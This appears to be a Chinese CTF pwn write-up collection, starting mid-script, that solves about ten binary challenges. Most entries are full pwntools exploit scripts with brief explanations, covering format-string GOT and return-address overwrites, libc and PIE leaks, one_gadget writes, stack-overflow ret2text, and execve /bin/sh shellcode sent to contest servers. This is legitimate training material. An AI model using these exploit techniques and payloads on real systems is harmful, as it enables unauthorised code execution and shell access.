uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt_stack3')
elf = ELF('./fmt_stack3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
fini_array = 0x403178
payload = fmtstr_payload(6, {fini_array:elf.sym['vuln'], elf.got['printf']:elf.sym['system']})
sa(b'name?\n', payload)
sa(b'name?\n', b'/bin/sh\x00')
inter()
fmt
很遗憾,在比赛的时候没完全学会使用patchelf的使用,被这道题弄得晕头转向。
存在格式化字符串漏洞先泄露pie和libcbase,由于使用fmtstr_payload的payload过长,所以我们手写payload。
from pwn import *
#io=process('./pwn')
io=remote('124.71.99.248',20776)
elf=ELF('./pwn')
context(os='linux',arch = 'amd64')
libc=ELF('libc-2.27.so')
#gdb.attach(io)
payload=b'%23$p%35$p'
io.recv()
io.send(payload)
pie=int(io.recv(14),16)-elf.sym['vuln1']-33
print(hex(pie))
base=int(io.recv(14),16)-libc.sym['__libc_start_main']-231
print(hex(base))
sys=base+libc.sym['system']
print(hex(sys))
printf_got=pie+elf.got['printf']
a=int((hex(sys)[-4:]),16)
b=int((hex(sys)[-6:-4]),16)
print(hex(a))
print(hex(b))
payload1=(b'%'+str(b).encode()+b'c%12$hhn'+b'%'+str(a-b).encode()+b'c%13$hn').ljust(0x20,b'\x00')
print(hex(len(payload1)))
payload1+=p64(printf_got+2)+p64(printf_got)
#pause()
io.send(payload1)
io.send(b'/bin/sh\x00')
io.recv()
io.interactive()
HELLO WORLD
比赛的时候根本没看这题(哭死
一道很有意思的brop,是ret2text,在交互过程中刷好感度,获得后门函数地址,最后利用gets函数输入,溢出长度为0x4+0x8
exp
from pwn import *
io=remote('124.71.99.248',20854)
io.recv()
io.sendline()
sleep(1)
io.sendline(str(2))
sleep(1)
io.sendline(str(4))
sleep(1)
io.sendline(str(6))
sleep(1)
io.sendline(str(2))
io.recvuntil(b'key:')
key=int(io.recv(14),16)
print(hex(key))
io.sendline(str(7))
sleep(0.5)
payload=b'a'*(0x4+0x8)+p64(key)
io.recvuntil(b'get:\n')
io.sendline(payload)
io.interactive()
easyfmt
一道非栈上格式化自字符串,复现的过程中让我学到了很多。
因为开启了full relro,所以不能直接修改got表。非栈上格式化字符串需要利用像rbp所指向的栈链为跳板,来完成对main函数的返回地址及其指向的内容的修改。
先修改格式化字符串漏洞的执行次数,再一点点地修改libc_start_main以及onegadget
最后再将函数执行次数改为零
exp
from pwn import *
libc=ELF("./libc-2.27.so")
#io=process('pwn')
io=remote("124.71.99.248",20871)
io.sendafter("stdin>>\n",b'%21$p.%8$p.')
libcbase=int(io.recvuntil(b'.')[-13:-1],16)-libc.sym['__libc_start_main']-231
stack=int(io.recvuntil(b'.')[-13:-1],16)-0x20
one_gadget =libcbase+0x4f2a5
io.sendafter("stdin>>\n",b'%'+str((stack-0x10)&0xff).encode()+b'c%12$hhn')
io.sendafter("stdin>>\n",b'%66c%16$hhn')
for i in range(6):
io.sendafter("stdin>>\n",b'%'+str((stack+8+i)&0xff).encode()+b'c%12$hhn')
io.sendafter("stdin>>\n",b'%'+str((one_gadget>>8*i)&0xff).encode()+b'c%16$hhn')
io.sendafter("stdin>>\n",b'%'+str((stack-0x10)&0xff).encode()+b'c%12$hhn')
io.sendafter("stdin>>\n",b'%16$hhn')
io.interactive()
oneshot_tjctf_2016
给了两次向V4输入数据的机会,第一次会打印v4的内容,可得到libc_base,第二次会执行V4,输入onegadget即可。
exp
from pwn import *
#io=process('./oneshot_tjctf_2016')
context(arch='amd64', os='linux')
io=remote('node5.buuoj.cn',28728)
elf=ELF('./oneshot_tjctf_2016')
libc=ELF('libc-2.23.so')
io.recv()
payload=elf.got['puts']
io.sendline(str(payload))
io.recvuntil(b'0x')
base=int(io.recv(16),16)-libc.sym['puts']
onegadget=base+0x45216
io.recv()
io.send(str(onegadget))
io.interactive()
wustctf2020_number_game
32位开启了NX和canary保护。
shell()中直接给出了system('/bin/sh')函数
我们需要让v1满足if中的表达式,在v1=-v1中,会发生补码,
2147483648是32位int最大的数
所以输入-2147483648可绕过补码,获得shell。
starctf_2019_babyshell
虽然开启了NX保护,但由于mmap函数的存在buf变得可读可写可执行。
但任需要绕过sub_400786里的检查。shellcode需要是unk_400978中的字符,开头为\x00的汇编指令可以绕过检查
exp
from pwn import*
context.arch="amd64"
io=remote('node5.buuoj.cn',27695)
payload=b'\x00\x00'+asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
wustctf2020_name_your_dog
32位开启了NX保护和canary
存在后门函数。
该题存在数组越界漏洞,但由于dog在bss段上,我们需要通过将got表改写为后门函数的方式来获得shell。
exp
from pwn import *
io=remote('node5.buuoj.cn',29868)
#io=process("./wustctf2020_name_your_dog")
shell=0x080485CB
io.sendlineafter(">",b'-7')
io.sendlineafter("Give your name plz: ",p32(shell))
io.interactive()
wdb_2018_3rd_soEasy
32位未开启任何保护,使用shellcode梭哈,还给出了buf的地址,还有栈溢出。
exp
from pwn import *
io=remote('node5.buuoj.cn',27686)
#io=process("./wdb_2018_3rd_soEasy")
elf=ELF('./wdb_2018_3rd_soEasy')
io.recvuntil(b'gift->')
buf=int(io.recv(10),16)
shellcode=asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
print(hex(len(shellcode)))
payload=shellcode.ljust(0x4c,b'\x00')+p32(buf)
io.sendline(payload)
io.interactive()
judgement_mna_2016
32位
主函数中存在格式化字符串漏洞
gdb调试可以发现flag就在栈中
exp
from pwn import *
p=remote("node5.buuoj.cn",28829)
p.sendline('%28$s:%32$s')
p.interactive()